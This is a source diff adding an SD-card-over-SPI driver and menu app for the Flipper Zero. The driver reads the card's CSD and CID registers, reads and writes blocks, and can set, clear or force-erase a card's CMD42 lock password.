+            csd->RdBlockLen = csd_data[5] & 0x0F;
+            csd->PartBlockRead = (csd_data[6] & 0x80) >> 7;
+            csd->WrBlockMisalign = (csd_data[6] & 0x40) >> 6;
+            csd->RdBlockMisalign = (csd_data[6] & 0x20) >> 5;
+            csd->DSRImpl = (csd_data[6] & 0x10) >> 4;
+
+            /*************************************************************************
+            CSD v1/v2 decoding
+            *************************************************************************/
+
+            if(sd_high_capacity == 0) {
+                csd->version.v1.Reserved1 = ((csd_data[6] & 0x0C) >> 2);
+                csd->version.v1.DeviceSize = ((csd_data[6] & 0x03) << 10) | (csd_data[7] << 2) |
+                                             ((csd_data[8] & 0xC0) >> 6);
+                csd->version.v1.MaxRdCurrentVDDMin = (csd_data[8] & 0x38) >> 3;
+                csd->version.v1.MaxRdCurrentVDDMax = (csd_data[8] & 0x07);
+                csd->version.v1.MaxWrCurrentVDDMin = (csd_data[9] & 0xE0) >> 5;
+                csd->version.v1.MaxWrCurrentVDDMax = (csd_data[9] & 0x1C) >> 2;
+                csd->version.v1.DeviceSizeMul = ((csd_data[9] & 0x03) << 1) |
+                                                ((csd_data[10] & 0x80) >> 7);
+            } else {
+                csd->version.v2.Reserved1 = ((csd_data[6] & 0x0F) << 2) |
+                                            ((csd_data[7] & 0xC0) >> 6);
+                csd->version.v2.DeviceSize = ((csd_data[7] & 0x3F) << 16) | (csd_data[8] << 8) |
+                                             csd_data[9];
+                csd->version.v2.Reserved2 = ((csd_data[10] & 0x80) >> 8);
+            }
+
+            csd->EraseSingleBlockEnable = (csd_data[10] & 0x40) >> 6;
+            csd->EraseSectorSize = ((csd_data[10] & 0x3F) << 1) | ((csd_data[11] & 0x80) >> 7);
+            csd->WrProtectGrSize = (csd_data[11] & 0x7F);
+            csd->WrProtectGrEnable = (csd_data[12] & 0x80) >> 7;
+            csd->Reserved2 = (csd_data[12] & 0x60) >> 5;
+            csd->WrSpeedFact = (csd_data[12] & 0x1C) >> 2;
+            csd->MaxWrBlockLen = ((csd_data[12] & 0x03) << 2) | ((csd_data[13] & 0xC0) >> 6);
+            csd->WriteBlockPartial = (csd_data[13] & 0x20) >> 5;
+            csd->Reserved3 = (csd_data[13] & 0x1F);
+            csd->FileFormatGrouop = (csd_data[14] & 0x80) >> 7;
+            csd->CopyFlag = (csd_data[14] & 0x40) >> 6;
+            csd->PermWrProtect = (csd_data[14] & 0x20) >> 5;
+            csd->TempWrProtect = (csd_data[14] & 0x10) >> 4;
+            csd->FileFormat = (csd_data[14] & 0x0C) >> 2;
+            csd->Reserved4 = (csd_data[14] & 0x03);
+            csd->crc = (csd_data[15] & 0xFE) >> 1;
+            csd->Reserved5 = (csd_data[15] & 0x01);
+
+            ret = SdSpiStatusOK;
+        }
+    }
+
+    sd_spi_deselect_card_and_purge();
+
+    return ret;
+}
+
+static SdSpiStatus sd_spi_get_cid(SD_CID* Cid) {
+    uint16_t counter = 0;
+    uint8_t cid_data[16];
+    SdSpiStatus ret = SdSpiStatusError;
+    SdSpiCmdAnswer response;
+
+    // CMD10 (SEND_CID): R1 format (0x00 is no errors)
+    response = sd_spi_send_cmd(SD_CMD10_SEND_CID, 0, 0xFF, SdSpiCmdAnswerTypeR1);
+
+    if(response.r1 == SdSpi_R1_NO_ERROR) {
+        if(sd_spi_wait_for_data(SD_TOKEN_START_DATA_SINGLE_BLOCK_READ, SD_TIMEOUT_MS) ==
+           SdSpiStatusOK) {
+            // read CID data
+            for(counter = 0; counter < 16; counter++) {
+                cid_data[counter] = sd_spi_read_byte();
+            }
+
+            sd_spi_purge_crc();
+
+            Cid->ManufacturerID = cid_data[0];
+            memcpy(Cid->OEM_AppliID, cid_data + 1, 2);
+            memcpy(Cid->ProdName, cid_data + 3, 5);
+            Cid->ProdRev = cid_data[8];
+            Cid->ProdSN = cid_data[9] << 24;
+            Cid->ProdSN |= cid_data[10] << 16;
+            Cid->ProdSN |= cid_data[11] << 8;
+            Cid->ProdSN |= cid_data[12];
+            Cid->Reserved1 = (cid_data[13] & 0xF0) >> 4;
+            Cid->ManufactYear = (cid_data[13] & 0x0F) << 4;
+            Cid->ManufactYear |= (cid_data[14] & 0xF0) >> 4;
+            Cid->ManufactMonth = (cid_data[14] & 0x0F);
+            Cid->CID_CRC = (cid_data[15] & 0xFE) >> 1;
+            Cid->Reserved2 = 1;
+
+            ret = SdSpiStatusOK;
+        }
+    }
+
+    sd_spi_deselect_card_and_purge();
+
+    return ret;
+}
+
+static SdSpiStatus
+    sd_spi_cmd_read_blocks(uint32_t* data, uint32_t address, uint32_t blocks, uint32_t timeout_ms) {
+    uint32_t block_address = address;
+    uint32_t offset = 0;
+
+    // CMD16 (SET_BLOCKLEN): R1 response (0x00: no errors)
+    SdSpiCmdAnswer response =
+        sd_spi_send_cmd(SD_CMD16_SET_BLOCKLEN, SD_BLOCK_SIZE, 0xFF, SdSpiCmdAnswerTypeR1);
+    sd_spi_deselect_card_and_purge();
+
+    if(response.r1 != SdSpi_R1_NO_ERROR) {
+        return SdSpiStatusError;
+    }
+
+    if(!sd_high_capacity) {
+        block_address = address * SD_BLOCK_SIZE;
+    }
+
+    while(blocks--) {
+        // CMD17 (READ_SINGLE_BLOCK): R1 response (0x00: no errors)
+        response =
+            sd_spi_send_cmd(SD_CMD17_READ_SINGLE_BLOCK, block_address, 0xFF, SdSpiCmdAnswerTypeR1);
+        if(response.r1 != SdSpi_R1_NO_ERROR) {
+            sd_spi_deselect_card_and_purge();
+            return SdSpiStatusError;
+        }
+
+        // Wait for the data start token
+        if(sd_spi_wait_for_data(SD_TOKEN_START_DATA_SINGLE_BLOCK_READ, timeout_ms) ==
+           SdSpiStatusOK) {
+            // Read the data block
+            sd_spi_read_bytes_dma((uint8_t*)data + offset, SD_BLOCK_SIZE);
+            sd_spi_purge_crc();
+
+            // increase offset
+            offset += SD_BLOCK_SIZE;
+
+            // increase block address
+            if(sd_high_capacity) {
+                block_address += 1;
+            } else {
+                block_address += SD_BLOCK_SIZE;
+            }
+        } else {
+            sd_spi_deselect_card_and_purge();
+            return SdSpiStatusError;
+        }
+
+        sd_spi_deselect_card_and_purge();
+    }
+
+    return SdSpiStatusOK;
+}
+
+static SdSpiStatus sd_spi_cmd_write_blocks(
+    uint32_t* data,
+    uint32_t address,
+    uint32_t blocks,
+    uint32_t timeout_ms) {
+    uint32_t block_address = address;
+    uint32_t offset = 0;
+
+    // CMD16 (SET_BLOCKLEN): R1 response (0x00: no errors)
+    SdSpiCmdAnswer response =
+        sd_spi_send_cmd(SD_CMD16_SET_BLOCKLEN, SD_BLOCK_SIZE, 0xFF, SdSpiCmdAnswerTypeR1);
+    sd_spi_deselect_card_and_purge();
+
+    if(response.r1 != SdSpi_R1_NO_ERROR) {
+        return SdSpiStatusError;
+    }
+
+    if(!sd_high_capacity) {
+        block_address = address * SD_BLOCK_SIZE;
+    }
+
+    while(blocks--) {
+        // CMD24 (WRITE_SINGLE_BLOCK): R1 response (0x00: no errors)
+        response = sd_spi_send_cmd(
+            SD_CMD24_WRITE_SINGLE_BLOCK, block_address, 0xFF, SdSpiCmdAnswerTypeR1);
+        if(response.r1 != SdSpi_R1_NO_ERROR) {
+            sd_spi_deselect_card_and_purge();
+            return SdSpiStatusError;
+        }
+
+        // Send dummy byte for NWR timing : one byte between CMD_WRITE and TOKEN
+        // TODO: check bytes count
+        sd_spi_write_byte(SD_DUMMY_BYTE);
+        sd_spi_write_byte(SD_DUMMY_BYTE);
+
+        // Send the data start token
+        sd_spi_write_byte(SD_TOKEN_START_DATA_SINGLE_BLOCK_WRITE);
+        sd_spi_write_bytes_dma((uint8_t*)data + offset, SD_BLOCK_SIZE);
+        sd_spi_purge_crc();
+
+        // Read data response
+        SdSpiDataResponce data_responce = sd_spi_get_data_response(timeout_ms);
+        sd_spi_deselect_card_and_purge();
+
+        if(data_responce != SdSpiDataResponceOK) {
+            return SdSpiStatusError;
+        }
+
+        // increase offset
+        offset += SD_BLOCK_SIZE;
+
+        // increase block address
+        if(sd_high_capacity) {
+            block_address += 1;
+        } else {
+            block_address += SD_BLOCK_SIZE;
+        }
+    }
+
+    return SdSpiStatusOK;
+}
+
+uint8_t sd_max_mount_retry_count() {
+    return 10;
+}
+
+SdSpiStatus sd_init(bool power_reset) {
+
+    sd_spi_debug("sd_init");
+
+    furi_hal_spi_acquire(&furi_hal_spi_bus_handle_external);
+    furi_hal_sd_spi_handle = &furi_hal_spi_bus_handle_external;
+    furi_hal_gpio_init(&gpio_ext_pa4,GpioModeOutputPushPull, GpioPullUp, GpioSpeedVeryHigh);
+
+    if(power_reset) {
+        sd_spi_debug("Power reset");
+
+        // disable power and set low on all bus pins
+        furi_hal_power_disable_external_3_3v();
+        sd_spi_bus_to_ground();
+        // hal_sd_detect_set_low();
+
+        furi_hal_gpio_init_simple(furi_hal_sd_spi_handle->cs, GpioModeOutputOpenDrain);
+        furi_hal_gpio_write(furi_hal_sd_spi_handle->cs, 0);
+
+        furi_delay_ms(250);
+
+        // reinit bus and enable power
+        sd_spi_bus_rise_up();
+        // hal_sd_detect_init();
+        furi_hal_sd_presence_init();
+        furi_hal_power_enable_external_3_3v();
+        furi_delay_ms(100);
+    }
+
+    SdSpiStatus status = SdSpiStatusError;
+
+    // Send 80 dummy clocks with CS high
+    sd_spi_deselect_card();
+    for(uint8_t i = 0; i < 80; i++) {
+        sd_spi_write_byte(SD_DUMMY_BYTE);
+    }
+
+    for(uint8_t i = 0; i < 128; i++) {
+    // for(uint8_t i = 0; i < 4; i++) {
+        status = sd_spi_init_spi_mode();
+        if(status == SdSpiStatusOK) {
+            // SD initialized and init to SPI mode properly
+            sd_spi_debug("SD init OK after %d retries", i);
+            break;
+        }
+    }
+
+    status = sd_get_card_state();
+
+
+    furi_hal_sd_spi_handle = NULL;
+    furi_hal_spi_release(&furi_hal_spi_bus_handle_external);
+    // furi_hal_spi_release(&furi_hal_spi_bus_handle_sd_slow);
+
+
+    // Init sector cache
+    // sector_cache_init();
+
+    return status;
+}
+
+SdSpiStatus sd_get_card_state(void) {
+    SdSpiCmdAnswer response;
+
+    // Send CMD13 (SEND_STATUS) to get SD status
+    response = sd_spi_send_cmd(SD_CMD13_SEND_STATUS, 0, 0xFF, SdSpiCmdAnswerTypeR2);
+    sd_spi_deselect_card_and_purge();
+
+    // Return status OK if response is valid
+    if((response.r1 == SdSpi_R1_NO_ERROR) && (response.r2 == SdSpi_R2_NO_ERROR || response.r2 == SdSpi_R2_CARD_LOCKED)) {
+        return SdSpiStatusOK;
+    }
+
+    return SdSpiStatusError;
+}
+
+SdSpiStatus sd_get_card_info(SD_CardInfo* card_info) {
+    SdSpiStatus status;
+
+    status = sd_spi_get_csd(&(card_info->Csd));
+
+    if(status != SdSpiStatusOK) {
+        return status;
+    }
+
+    status = sd_spi_get_cid(&(card_info->Cid));
+
+    if(status != SdSpiStatusOK) {
+        return status;
+    }
+
+    if(sd_high_capacity == 1) {
+        card_info->LogBlockSize = 512;
+        card_info->CardBlockSize = 512;
+        card_info->CardCapacity = ((uint64_t)card_info->Csd.version.v2.DeviceSize + 1UL) * 1024UL *
+                                  (uint64_t)card_info->LogBlockSize;
+        card_info->LogBlockNbr = (card_info->CardCapacity) / (card_info->LogBlockSize);
+    } else {
+        card_info->CardCapacity = (card_info->Csd.version.v1.DeviceSize + 1);
+        card_info->CardCapacity *= (1UL << (card_info->Csd.version.v1.DeviceSizeMul + 2));
+        card_info->LogBlockSize = 512;
+        card_info->CardBlockSize = 1UL << (card_info->Csd.RdBlockLen);
+        card_info->CardCapacity *= card_info->CardBlockSize;
+        card_info->LogBlockNbr = (card_info->CardCapacity) / (card_info->LogBlockSize);
+    }
+
+    return status;
+}
+
+SdSpiStatus sd_set_pwd(char* pwd) {
+
+  sd_spi_debug("sd_set_pwd");
+  sd_spi_debug(pwd);
+
+  SdSpiStatus status = SdSpiStatusError;
+  SdSpiCmdAnswer response;
+
+  furi_hal_spi_acquire(&furi_hal_spi_bus_handle_external);
+  furi_hal_sd_spi_handle = &furi_hal_spi_bus_handle_external;
+
+  for(uint8_t i = 0; i < LOCK_UNLOCK_ATTEMPS; i++) {
+
+    response = sd_spi_send_cmd(SD_CMD42_LOCK_UNLOCK, 0, 0xFF, SdSpiCmdAnswerTypeR1);
+    if(response.r1 == SdSpi_R1_NO_ERROR) {
+      sd_spi_debug("SD_CMD42_LOCK_UNLOCK R1_NO_ERROR");
+      uint8_t data[512] = {0xFF};
+      data[0] = 0x05;
+      data[1] = strlen(pwd);
+      for(int i = 0; i < (int)strlen(pwd); i++){
+        data[i+2] = pwd[i];
+      }
+
+      sd_spi_write_byte(SD_TOKEN_START_DATA_SINGLE_BLOCK_WRITE);
+      sd_spi_write_bytes_dma(data, SD_BLOCK_SIZE);
+      sd_spi_purge_crc();
+
+      SdSpiDataResponce data_responce = sd_spi_get_data_response(SD_TIMEOUT_MS);
+      sd_spi_deselect_card_and_purge();
+
+      if(data_responce == SdSpiDataResponceOK) {
+        sd_spi_debug("SD_CMD42_LOCK_UNLOCK SdSpiDataResponceOK");
+
+        if(sd_get_card_state()==SdSpiStatusOK) {
+          if(cmd_answer.r2==SdSpi_R2_CARD_LOCKED) { status = SdSpiStatusOK; break; }
+          else { sd_spi_debug("SD_CMD42_LOCK_UNLOCK CARD UNLOCKED"); }
+        }
+      }
+      else { sd_spi_debug("SD_CMD42_LOCK_UNLOCK SdSpiDataResponceError"); }
+    }
+    else { sd_spi_debug("SD_CMD42_LOCK_UNLOCK R1_ERROR"); }
+
+  }
+
+
+  furi_hal_sd_spi_handle = NULL;
+  furi_hal_spi_release(&furi_hal_spi_bus_handle_external);
+
+  return status;
+}
+SdSpiStatus sd_clr_pwd(char* pwd) {
+  sd_spi_debug("sd_clr_pwd");
+  sd_spi_debug(pwd);
+
+  SdSpiStatus status = SdSpiStatusError;
+  SdSpiCmdAnswer response;
+
+  furi_hal_spi_acquire(&furi_hal_spi_bus_handle_external);
+  furi_hal_sd_spi_handle = &furi_hal_spi_bus_handle_external;
+
+  for(uint8_t i = 0; i < LOCK_UNLOCK_ATTEMPS; i++) {
+
+    response = sd_spi_send_cmd(SD_CMD42_LOCK_UNLOCK, 0, 0xFF, SdSpiCmdAnswerTypeR1);
+    if(response.r1 == SdSpi_R1_NO_ERROR) {
+      sd_spi_debug("SD_CMD42_LOCK_UNLOCK R1_NO_ERROR");
+      uint8_t data[512] = {0xFF};
+      data[0] = 0x02;
+      data[1] = strlen(pwd);
+      for(int i = 0; i < (int)strlen(pwd); i++){
+        data[i+2] = pwd[i];
+      }
+
+      sd_spi_write_byte(SD_TOKEN_START_DATA_SINGLE_BLOCK_WRITE);
+      sd_spi_write_bytes_dma(data, SD_BLOCK_SIZE);
+      sd_spi_purge_crc();
+
+      SdSpiDataResponce data_responce = sd_spi_get_data_response(SD_TIMEOUT_MS);
+      sd_spi_deselect_card_and_purge();
+
+      if(data_responce == SdSpiDataResponceOK) {
+        sd_spi_debug("SD_CMD42_LOCK_UNLOCK SdSpiDataResponceOK");
+
+        if(sd_get_card_state()==SdSpiStatusOK) {
+          if(cmd_answer.r2==SdSpi_R2_NO_ERROR) { status = SdSpiStatusOK; break; }
+        }
+      }
+      else { sd_spi_debug("SD_CMD42_LOCK_UNLOCK SdSpiDataResponceError"); }
+    }
+    else { sd_spi_debug("SD_CMD42_LOCK_UNLOCK R1_ERROR"); }
+
+  }
+
+  furi_hal_sd_spi_handle = NULL;
+  furi_hal_spi_release(&furi_hal_spi_bus_handle_external);
+
+  return status;
+}
+SdSpiStatus sd_force_erase(void) {
+  SdSpiStatus status = SdSpiStatusError;
+  SdSpiCmdAnswer response;
+
+  furi_hal_spi_acquire(&furi_hal_spi_bus_handle_external);
+  furi_hal_sd_spi_handle = &furi_hal_spi_bus_handle_external;
+
+
+  sd_spi_debug("SD_CMD16_SET_BLOCKLEN 1");
+  sd_spi_send_cmd(SD_CMD16_SET_BLOCKLEN, 1, 0xFF, SdSpiCmdAnswerTypeR1);
+  sd_spi_deselect_card_and_purge();
+
+  sd_spi_debug("SD_CMD42_LOCK_UNLOCK");
+  response = sd_spi_send_cmd(SD_CMD42_LOCK_UNLOCK, 0, 0xFF, SdSpiCmdAnswerTypeR1);
+
+  if(response.r1 == SdSpi_R1_NO_ERROR) {
+
+    sd_spi_debug("SD_CMD42_LOCK_UNLOCK R1_NO_ERROR");
+    uint8_t data[2] = {0xfe,0x08};
+    sd_spi_write_bytes_dma(data, sizeof(data));
+    sd_spi_purge_crc();
+
+    SdSpiDataResponce data_responce = sd_spi_get_data_response(SD_TIMEOUT_MS);
+    sd_spi_deselect_card_and_purge();
+
+    status = SdSpiStatusOK;
+
+    if(data_responce == SdSpiDataResponceOK) {
+      sd_spi_debug("SD_CMD42_LOCK_UNLOCK SdSpiDataResponceOK");
+      if(sd_get_card_state()==SdSpiStatusOK) {
+        if(cmd_answer.r2==SdSpi_R2_NO_ERROR) { status = SdSpiStatusOK; }
+      }
+    }
+    else { sd_spi_debug("SD_CMD42_LOCK_UNLOCK SdSpiDataResponceError"); }
+  }
+  else { sd_spi_debug("SD_CMD42_LOCK_UNLOCK R1_ERROR"); }
+
+  furi_hal_sd_spi_handle = NULL;
+  furi_hal_spi_release(&furi_hal_spi_bus_handle_external);
+
+  return status;
+}
+
+SdSpiStatus
+    sd_read_blocks(uint32_t* data, uint32_t address, uint32_t blocks, uint32_t timeout_ms) {
+    SdSpiStatus status = sd_spi_cmd_read_blocks(data, address, blocks, timeout_ms);
+    return status;
+}
+
+SdSpiStatus
+    sd_write_blocks(uint32_t* data, uint32_t address, uint32_t blocks, uint32_t timeout_ms) {
+    SdSpiStatus status = sd_spi_cmd_write_blocks(data, address, blocks, timeout_ms);
+    return status;
+}
+
+SdSpiStatus sd_get_cid(SD_CID* cid) {
+    SdSpiStatus status;
+    furi_hal_spi_acquire(&furi_hal_spi_bus_handle_external);
+    furi_hal_sd_spi_handle = &furi_hal_spi_bus_handle_external;
+
+    memset(cid, 0, sizeof(SD_CID));
+    status = sd_spi_get_cid(cid);
+
+    furi_hal_sd_spi_handle = NULL;
+    furi_hal_spi_release(&furi_hal_spi_bus_handle_external);
+
+    return status;
+}

+ 204 - 0
non_catalog_apps/sd_spi/sd_spi.h

@@ -0,0 +1,204 @@
+#pragma once
+#include <stdint.h>
+#include <stdbool.h>
+
+#define __IO volatile
+
+#define SD_TIMEOUT_MS 500//(1000)
+#define SD_BLOCK_SIZE 512
+
+#define VERSION_APP "0.2"
+#define DEVELOPED " "
+#define GITHUB "github.com/Gl1tchub/Flipperzero-SD-SPI"
+
+
+typedef enum {
+    SdSpiStatusOK,
+    SdSpiStatusError,
+    SdSpiStatusTimeout,
+} SdSpiStatus;
+
+/** R1 answer value */
+typedef enum {
+    SdSpi_R1_NO_ERROR = 0x00,
+    SdSpi_R1_IN_IDLE_STATE = 0x01,
+    SdSpi_R1_ERASE_RESET = 0x02,
+    SdSpi_R1_ILLEGAL_COMMAND = 0x04,
+    SdSpi_R1_COM_CRC_ERROR = 0x08,
+    SdSpi_R1_ERASE_SEQUENCE_ERROR = 0x10,
+    SdSpi_R1_ADDRESS_ERROR = 0x20,
+    SdSpi_R1_PARAMETER_ERROR = 0x40,
+} SdSpiR1;
+
+/** R2 answer value */
+typedef enum {
+    /* R2 answer value */
+    SdSpi_R2_NO_ERROR = 0x00,
+    SdSpi_R2_CARD_LOCKED = 0x01,
+    SdSpi_R2_LOCKUNLOCK_ERROR = 0x02,
+    SdSpi_R2_ERROR = 0x04,
+    SdSpi_R2_CC_ERROR = 0x08,
+    SdSpi_R2_CARD_ECC_FAILED = 0x10,
+    SdSpi_R2_WP_VIOLATION = 0x20,
+    SdSpi_R2_ERASE_PARAM = 0x40,
+    SdSpi_R2_OUTOFRANGE = 0x80,
+} SdSpiR2;
+
+/**
+ * @brief Card Specific Data: CSD Register
+ */
+typedef struct {
+    /* Header part */
+    uint8_t CSDStruct : 2; /* CSD structure */
+    uint8_t Reserved1 : 6; /* Reserved */
+    uint8_t TAAC : 8; /* Data read access-time 1 */
+    uint8_t NSAC : 8; /* Data read access-time 2 in CLK cycles */
+    uint8_t MaxBusClkFrec : 8; /* Max. bus clock frequency */
+    uint16_t CardComdClasses : 12; /* Card command classes */
+    uint8_t RdBlockLen : 4; /* Max. read data block length */
+    uint8_t PartBlockRead : 1; /* Partial blocks for read allowed */
+    uint8_t WrBlockMisalign : 1; /* Write block misalignment */
+    uint8_t RdBlockMisalign : 1; /* Read block misalignment */
+    uint8_t DSRImpl : 1; /* DSR implemented */
+
+    /* v1 or v2 struct */
+    union csd_version {
+        struct {
+            uint8_t Reserved1 : 2; /* Reserved */
+            uint16_t DeviceSize : 12; /* Device Size */
+            uint8_t MaxRdCurrentVDDMin : 3; /* Max. read current @ VDD min */
+            uint8_t MaxRdCurrentVDDMax : 3; /* Max. read current @ VDD max */
+            uint8_t MaxWrCurrentVDDMin : 3; /* Max. write current @ VDD min */
+            uint8_t MaxWrCurrentVDDMax : 3; /* Max. write current @ VDD max */
+            uint8_t DeviceSizeMul : 3; /* Device size multiplier */
+        } v1;
+        struct {
+            uint8_t Reserved1 : 6; /* Reserved */
+            uint32_t DeviceSize : 22; /* Device Size */
+            uint8_t Reserved2 : 1; /* Reserved */
+        } v2;
+    } version;
+
+    uint8_t EraseSingleBlockEnable : 1; /* Erase single block enable */
+    uint8_t EraseSectorSize : 7; /* Erase group size multiplier */
+    uint8_t WrProtectGrSize : 7; /* Write protect group size */
+    uint8_t WrProtectGrEnable : 1; /* Write protect group enable */
+    uint8_t Reserved2 : 2; /* Reserved */
+    uint8_t WrSpeedFact : 3; /* Write speed factor */
+    uint8_t MaxWrBlockLen : 4; /* Max. write data block length */
+    uint8_t WriteBlockPartial : 1; /* Partial blocks for write allowed */
+    uint8_t Reserved3 : 5; /* Reserved */
+    uint8_t FileFormatGrouop : 1; /* File format group */
+    uint8_t CopyFlag : 1; /* Copy flag (OTP) */
+    uint8_t PermWrProtect : 1; /* Permanent write protection */
+    uint8_t TempWrProtect : 1; /* Temporary write protection */
+    uint8_t FileFormat : 2; /* File Format */
+    uint8_t Reserved4 : 2; /* Reserved */
+    uint8_t crc : 7; /* Reserved */
+    uint8_t Reserved5 : 1; /* always 1*/
+
+} SD_CSD;
+
+/**
+ * @brief Card Identification Data: CID Register
+ */
+typedef struct {
+    uint8_t ManufacturerID; /* ManufacturerID */
+    char OEM_AppliID[2]; /* OEM/Application ID */
+    char ProdName[5]; /* Product Name */
+    uint8_t ProdRev; /* Product Revision */
+    uint32_t ProdSN; /* Product Serial Number */
+    uint8_t Reserved1; /* Reserved1 */
+    uint8_t ManufactYear; /* Manufacturing Year */
+    uint8_t ManufactMonth; /* Manufacturing Month */
+    uint8_t CID_CRC; /* CID CRC */
+    uint8_t Reserved2; /* always 1 */
+} SD_CID;
+
+/**
+ * @brief SD Card information structure
+ */
+ typedef struct {
+     SD_CSD Csd;
+     SD_CID Cid;
+     uint64_t CardCapacity; /*!< Card Capacity */
+     uint32_t CardBlockSize; /*!< Card Block Size */
+     uint32_t LogBlockNbr; /*!< Specifies the Card logical Capacity in blocks   */
+     uint32_t LogBlockSize; /*!< Specifies logical block size in bytes           */
+ } SD_CardInfo;
+
+ typedef struct {
+     uint8_t r1;
+     uint8_t r2;
+     uint8_t r3;
+     uint8_t r4;
+     uint8_t r5;
+ } SdSpiCmdAnswer;
+
+ extern SdSpiCmdAnswer cmd_answer;
+
+
+/**
+ * @brief SD card max mount retry count
+ *
+ * @return uint8_t
+ */
+uint8_t sd_max_mount_retry_count();
+
+/**
+ * @brief Init sd card
+ *
+ * @param power_reset reset card power
+ * @return SdSpiStatus
+ */
+SdSpiStatus sd_init(bool power_reset);
+
+/**
+ * @brief Get card state
+ *
+ * @return SdSpiStatus
+ */
+SdSpiStatus sd_get_card_state(void);
+
+/**
+ * @brief Get card info
+ *
+ * @param card_info
+ * @return SdSpiStatus
+ */
+SdSpiStatus sd_get_card_info(SD_CardInfo* card_info);
+
+/**
+ * @brief Read blocks
+ *
+ * @param data
+ * @param address
+ * @param blocks
+ * @param timeout_ms
+ * @return SdSpiStatus
+ */
+SdSpiStatus sd_read_blocks(uint32_t* data, uint32_t address, uint32_t blocks, uint32_t timeout_ms);
+
+/**
+ * @brief Write blocks
+ *
+ * @param data
+ * @param address
+ * @param blocks
+ * @param timeout_ms
+ * @return SdSpiStatus
+ */
+SdSpiStatus
+    sd_write_blocks(uint32_t* data, uint32_t address, uint32_t blocks, uint32_t timeout_ms);
+
+/**
+ * @brief Get card CSD register
+ *
+ * @param Cid
+ * @return SdSpiStatus
+ */
+SdSpiStatus sd_get_cid(SD_CID* cid);
+
+SdSpiStatus sd_set_pwd(char* pwd);
+SdSpiStatus sd_clr_pwd(char* pwd);
+SdSpiStatus sd_force_erase(void);

+ 579 - 0
non_catalog_apps/sd_spi/sd_spi_app.c

@@ -0,0 +1,579 @@
+#include <furi.h>
+#include <gui/gui.h>
+#include <gui/icon_i.h>
+#include <gui/view_dispatcher.h>
+#include <gui/scene_manager.h>
+#include <gui/modules/submenu.h>
+#include <gui/modules/text_box.h>
+#include <gui/modules/text_input.h>
+#include <gui/modules/popup.h>
+#include <gui/modules/dialog_ex.h>
+
+#include <furi_hal_spi.h>
+#include <notification/notification.h>
+#include <notification/notification_messages.h>
+#include <storage/storage.h>
+#include <toolbox/path.h>
+#include <gui/modules/widget.h>
+
+
+
+
+#include "sd_spi.h"
+
+#define TAG "sd-spi-app"
+
+/* generated by fbt from .png files in images folder */
+// #include <sd_spi_app_icons.h>
+
+#define TEXT_BOX_STORE_SIZE (4096)
+#define PASSWORD_MAX_LEN (16)
+#define ALERT_MAX_LEN 32
+
+#define STORAGE_LOCKED_FILE "pwd.txt"
+
+/** ids for all scenes used by the app */
+typedef enum {
+    AppScene_MainMenu,
+    AppScene_Status,
+    AppScene_Confirmation,
+    AppScene_Password,
+    AppScene_Info,
+    AppScene_count
+} AppScene;
+
+/** ids for the 2 types of view used by the app */
+typedef enum { AppView_Menu, AppView_Status, AppView_Dialog, AppView_TextInput, AppView_Info} SDSPIAppView;
+
+/** the app context struct */
+typedef struct {
+    SceneManager* scene_manager;
+    ViewDispatcher* view_dispatcher;
+    Submenu* menu;
+    TextBox* tb_status;
+    Widget* widget_about;
+    TextInput* text_input;
+    DialogEx* dialog;
+    char* input_pwd;
+} SDSPIApp;
+
+/** all custom events */
+typedef enum { AppEvent_Status, AppEvent_Confirmation, AppEvent_Password, AppEvent_Info } AppEvent;
+
+/** indices for menu items */
+typedef enum { AppMenuSelection_Init, AppMenuSelection_Status, AppMenuSelection_SDLock, AppMenuSelection_SDUnLock, Confirmation_Dialog, AppMenuSelection_Password, AppMenuSelection_Info } AppMenuSelection;
+
+bool notify_sequence(SdSpiStatus status){
+  NotificationApp* notifications = furi_record_open(RECORD_NOTIFICATION);
+  if(status == SdSpiStatusOK){ notification_message(notifications, &sequence_success); return true; }
+  else{ notification_message(notifications, &sequence_error); }
+  return false;
+  furi_record_close(RECORD_NOTIFICATION);
+}
+
+/** main menu callback - sends a custom event to the scene manager based on the menu selection */
+void app_menu_callback_main_menu(void* context, uint32_t index) {
+    FURI_LOG_T(TAG, "app_menu_callback_main_menu");
+    SDSPIApp* app = context;
+    switch(index) {
+    case AppMenuSelection_Status:
+      scene_manager_handle_custom_event(app->scene_manager, AppEvent_Status);
+      break;
+    case AppMenuSelection_Init:
+      {
+        SdSpiStatus sdStatus;
+        sdStatus = sd_init(false);
+        notify_sequence(sdStatus);
+      }
+      break;
+    case AppMenuSelection_SDLock:
+      FURI_LOG_T(TAG, "AppMenuSelection_SDLock");
+      {
+        SdSpiStatus sdStatus;
+        sdStatus = sd_set_pwd(app->input_pwd);
+        notify_sequence(sdStatus);
+      }
+
+      break;
+    case AppMenuSelection_SDUnLock:
+      FURI_LOG_T(TAG, "AppMenuSelection_SDUnLock");
+      {
+        SdSpiStatus sdStatus;// = sd_init(false);
+        sdStatus = sd_clr_pwd(app->input_pwd);
+        notify_sequence(sdStatus);
+      }
+      break;
+    case AppMenuSelection_Password:
+      scene_manager_handle_custom_event(app->scene_manager, AppEvent_Password);
+      break;
+    case Confirmation_Dialog:
+      scene_manager_handle_custom_event(app->scene_manager, AppEvent_Confirmation);
+      break;
+    case AppMenuSelection_Info:
+      scene_manager_handle_custom_event(app->scene_manager, AppEvent_Info);
+      break;
+    }
+}
+
+/** resets the menu, gives it content, callbacks and selection enums */
+void app_scene_on_enter_main_menu(void* context) {
+    FURI_LOG_T(TAG, "app_scene_on_enter_main_menu");
+    SDSPIApp* app = context;
+    submenu_reset(app->menu);
+
+    submenu_add_item(
+      app->menu,
+      "SD Init",
+      AppMenuSelection_Init,
+      app_menu_callback_main_menu,
+      app);
+    submenu_add_item(
+      app->menu,
+      "SD Status",
+      AppMenuSelection_Status,
+      app_menu_callback_main_menu,
+      app);
+    submenu_add_item(
+      app->menu,
+      "SD Lock",
+      AppMenuSelection_SDLock,
+      app_menu_callback_main_menu,
+      app);
+    submenu_add_item(
+      app->menu,
+      "SD Unlock",
+      AppMenuSelection_SDUnLock,
+      app_menu_callback_main_menu,
+      app);
+    submenu_add_item(
+      app->menu,
+      "SD Force Erase",
+      Confirmation_Dialog,
+      app_menu_callback_main_menu,
+      app);
+    submenu_add_item(
+      app->menu,
+      "Password",
+      AppMenuSelection_Password,
+      app_menu_callback_main_menu,
+      app);
+    submenu_add_item(
+      app->menu,
+      "About",
+      AppMenuSelection_Info,
+      app_menu_callback_main_menu,
+      app);
+
+    view_dispatcher_switch_to_view(app->view_dispatcher, AppView_Menu);
+}
+
+/** main menu event handler - switches scene based on the event */
+bool app_scene_on_event_main_menu(void* context, SceneManagerEvent event) {
